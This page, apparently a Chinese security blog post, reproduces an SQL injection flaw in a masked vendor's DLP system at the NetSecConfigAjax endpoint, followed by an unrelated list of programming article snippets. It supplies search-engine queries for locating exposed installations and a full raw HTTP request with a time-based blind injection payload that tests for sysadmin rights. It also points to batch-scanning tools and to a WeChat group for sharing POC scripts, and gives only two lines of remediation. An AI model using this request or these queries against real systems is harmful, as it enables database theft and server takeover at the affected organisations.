当前位置：首页 > news >正文

【漏洞复现】某赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL注入漏洞

news 2026/2/10 2:30:37

0x01 产品简介

某赛通新一代数据泄露防护系统（简称 DLP），以服务企事业单位进行数据资产梳理、数据安全防护为目标。系统采用平台化管理，将终端DLP、网络DLP、邮件DLP、存储扫描DLP、API 接口DLP 进行统一管理，模块化控制。将对数据进行分类分级扫描，实现终端数据资产梳理、文件服务器数据梳理、数据库数据资产梳理、数据加密防护、数据外发监测、终端运维管理、邮件外发控制、数据水印、端口管控。

0x02 漏洞概述

某赛通数据泄露防护(DLP)系统NetSecConfigAjax接口处存在sql注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 搜索引擎

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp" || body="/CDGServer3/index.jsp"

在这里插入图片描述

0x04 漏洞复现

POST /CDGServer3/NetSecConfigAjax;Service HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BFFA734FFFC1D940FA2710CD18F4CA23
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 99command=updateNetSec&state=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:10'--

在这里插入图片描述
sqlmap验证

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

0x06 修复建议

1、关闭互联网暴露面或接口设置访问权限
2、升级至安全版本

相关文章：

【漏洞复现】某赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL注入漏洞

0x01 产品简介某赛通新一代数据泄露防护系统（简称 DLP），以服务企事业单位进行数据资产梳理、数据安全防护为目标。系统采用平台化管理，将终端DLP、网络DLP、邮件DLP、存储扫描DLP、API 接口DLP 进行统一管理，模块化控…...

编程日记 2024/8/13 2:42:22

c++中的仿函数

目录什么是仿函数？ 仿函数的定义与使用仿函数与普通函数的比较实际应用场景总结当谈论到 C 编程中的灵活性和效率时，仿函数（Functor）是一个重要的概念。它不仅可以提供比普通函数更多的功能，还能够在很多情况…...

编程日记 2024/8/13 2:41:21

springboot整合mybatis-plus和pagehelper插件报错，

在springboot和myabtisplus版本没有冲突的情况下，MybatisPlusAutoConfiguration配置类没有生效，查看该类发现存在生效条件，即： 1.必须存在数据源的Bean对象 2.必须存在SqlSessionFactory和SqlSessionFactoryBean类（这…...

编程日记 2024/8/13 2:40:20

趋动科技荣登「AIGC赋能金融创新引领者TOP20」

2023年11月28日，“极新AIGC行业峰会”在北京召开，峰会以“AI落地”为指引，探究AI实践与产业化。从制造业到金融服务业，从医疗保健到交通运输，从文化娱乐到消费零售，智能客服、数字人直播、智能巡检机器人&…...

编程日记 2024/8/13 2:39:19

SOPHGO算能科技BM1684盒子占用空间满的问题解决

目录 1 问题由来 2 问题排查与解决 1 问题由来安装软件的时候发现，软件根本安装不上了，用df -h看到根目录已经满了 rootbm1684:~# df -h Filesystem Size Used Avail Use% Mounted on overlay 5.8G 5.7G 0 100% / devtmpfs …...

编程日记 2024/8/13 2:38:18

Spring Boot实用小技巧 - - 第523篇

《国内最全的Spring Boot系列之一》《国内最全的Spring Boot系列之二》《国内最全的Spring Boot系列之三》《国内最全的Spring Boot系列之四》《国内最全的Spring Boot系列之五》《国内最全的Spring Boot系列之六》《国内最全的Spring Boot系列之七》 Spring的Sma…...

编程日记 2024/8/13 2:34:14

安卓App开发篇二：Android UI和布局

文章目录系列文章Jetpack Compose基本语法可组合函数预览布局元素基于槽位（slot-based）的布局横屏处理实现布局设计布局检查器工具Material Design使用字符串等资源列表和动画LazyColumn 和 LazyRowremember 和 mutableStateOf事件mutableStateOfremember局部更新组件（官方…...

编程日记 2024/8/13 2:32:11

k8s基本介绍

Kubernetes, also known as K8s, is an open source system for automating deployment, scaling, and management of containerized applications. Kubernetes，也称为k8，是一个用于自动化部署、扩展和管理容器化应用程序的开源系统。使用go语言编写ht…...

编程日记 2024/8/13 2:28:08

go http启动应用程序

udpserver udpserver 是go程序需要启动的程序 #include <iostream> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <thread>const int BUFFER_SIZE 1024;int udpSocket; struct …...

编程日记 2024/8/13 2:26:06

Redis：概念、部署、配置、优化

目录关系型数据库与非关系型数据库关系型数据库非关系型数据库非关系型数据库存在的原因 Redis 概念优点 Redis部署流程初步设置安装初始化初始化时指定的参数说明 Redis配置文件修改监听地址 Redis远程连接远程连接测试服务端状态 redis-benchm…...

编程日记 2024/8/13 2:25:04

华为OD-D卷找座位

在一个大型体育场内举办了一场大型活动，由于疫情防控的需要，要求每位观众的必须间隔至少一个空位才允许落座。现在给出一排观众座位分布图，座位中存在已落座的观众，请计算出，在不移动现有观众座位的情况下，…...

编程日记 2024/8/13 2:24:03

Go sdk下载和配置环境变量

本文目录 SDK下载环境变量配置测试 SDK下载下载地址：https://golang.google.cn/dl/ 更多版本，找到1.9.2 我是win10 64位的，我找到这个下载下载之后解压，可以看到bin文件夹。环境变量配置我的电脑 -> 属性 -> 高级…...

编程日记 2024/8/13 2:22:57

qt的项目结构

目录创建新的项目第一个hell0程序，qt的项目结构 main函数 Widget头文件: pro文件命名规范 QtCreator 常用快捷键 Qt里边绝大部分的类都是继承自QObject是一个顶层类父子关系 Qt坐标系 QT常用API函数对象树信号和槽机制自定义信号和槽自定义信号…...

编程日记 2024/8/13 2:20:54

【NLP】文本特征处理：n-gram特征和文本长度规范

文章目录 1、本章目标2、n-gram特征2.1、概念2.2、举个例子2.3、代码 3、文本长度规范及其作用4、小结 🍃作者介绍：双非本科大三网络工程专业在读，阿里云专家博主，专注于Java领域学习，擅长web应用开发、数据结构和算法…...

编程日记 2024/8/13 2:19:53

ESP32人脸识别开发 ---partitions.csv配置的一些说明（五）

配置的文件在这个位置 esp-who/examples/esp32-s3-eye/partitions.csv factory, app, factory, 0x010000, 4000K, model, data, spiffs, , 3900K, （这个是语音相关的） nvs, data, nvs, , 16K, fr, data, ,…...

编程日记 2024/8/13 2:18:52

【学习笔记】Matlab和python双语言的学习(图论最短路径）

文章目录前言一、图论基本概念示例二、代码实现----Matlab三、代码实现----python总结前言通过模型算法，熟练对Matlab和python的应用。学习视频链接： https://www.bilibili.com/video/BV1EK41187QF?p36&vd_source67471d3a1b4f517b7a7964093e6…...

编程日记 2024/8/13 2:16:50

vue.config.js 配置 devserve 配置

在 Vue CLI 项目中，devServer 配置用于设置开发服务器的行为。这包括了开发服务器的端口、主机名、是否开启 HTTPS、自动打开浏览器等设置，以及配置代理规则来解决跨域问题。 devServer 配置详解(version > 4.0.0) host: 设置开发服务器的主机地址&a…...

编程日记 2024/8/13 2:14:49

不入耳耳机什么牌子性价比高？五大年度必选款揭秘

和传统的入耳式耳机相比，开放式耳机采用的是不深入耳道的设计，佩戴舒适度更高，卫生健康，安全性也更高。同时音质表现也更加有空间感。想要体验开放式耳机带来的便利，就需要做好选购攻略，不入耳耳机什么牌子…...

编程日记 2024/8/13 2:13:48

SQL Zoo 6.The JOIN operation

以下数据均来自SQL Zoo 1.Modify it to show the matchid and player name for all goals scored by Germany. To identify German players, check for: teamid GER.(它以显示德国所有进球的比赛和球员名字,识别德国球员) SELECT matchid,player FROM goal where teamid GE…...

编程日记 2024/8/13 2:07:41

视频教程：Vue3移动端抽屉弹层组件实战

本教程演示了vue3的composition api实现的移动端h5抽屉弹层组件，录屏讲解包含了功能演示和具体的源码实现。笔者相关教程： 使用tailwindcss轻松实现移动端rem适配Vue3.4双向绑定新特性：defineModel好用爱用学习要点： 自定义…...

编程日记 2024/8/13 2:05:39

无法与IP建立连接，未能下载VSCode服务器

如题，在远程连接服务器的时候突然遇到了这个提示。查阅了一圈，发现是VSCode版本自动更新惹的祸！！！ 在VSCode的帮助->关于这里发现前几天VSCode自动更新了，我的版本号变成了1.100.3 才导致了远程连接出…...

编程新知 2026/1/22 21:24:01

解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八

现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet，点击确认后如下提示最终上报fail 解决方法内核升级导致，需要在新内核下重新下载编译安装查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...

编程新知 2026/1/24 10:07:40

CMake基础：构建流程详解

目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

编程新知 2026/2/2 7:39:34

2024年赣州旅游投资集团社会招聘笔试真

2024年赣州旅游投资集团社会招聘笔试真题 ( 满分 1 0 0 分时间 1 2 0 分钟 ) 一、单选题(每题只有一个正确答案，答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录【答案】: D 2.1864年，()预言了电磁波的存在，并指出…...

编程新知 2025/12/10 4:08:53

全球首个30米分辨率湿地数据集(2000—2022)

数据简介今天我们分享的数据是全球30米分辨率湿地数据集，包含8种湿地亚类，该数据以0.5X0.5的瓦片存储，我们整理了所有属于中国的瓦片名称与其对应省份，方便大家研究使用。该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...

编程新知 2026/1/31 17:15:25

将对透视变换后的图像使用Otsu进行阈值化，来分离黑色和白色像素。这句话中的Otsu是什么意思？

Otsu 是一种自动阈值化方法，用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理，能够自动确定一个阈值，将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

编程新知 2026/1/9 19:36:58

【Go】3、Go语言进阶与依赖管理

前言本系列文章参考自稀土掘金上的【字节内部课】公开课，做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程，它的核心机制是 Goroutine 协程、Channel 通道，并基于CSP（Communicating Sequential Processes&#xff0…...

编程新知 2025/10/7 0:32:40

【论文阅读28】-CNN-BiLSTM-Attention-（2024）

本文把滑坡位移序列拆开、筛优质因子，再用 CNN-BiLSTM-Attention 来动态预测每个子序列，最后重构出总位移，预测效果超越传统模型。文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵（S…...

编程新知 2026/2/2 3:06:53

SpringTask-03.入门案例

一.入门案例启动类： package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...

编程新知 2026/2/2 0:35:08

蓝桥杯3498 01串的熵

问题描述对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798， 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

编程新知 2026/2/6 2:05:50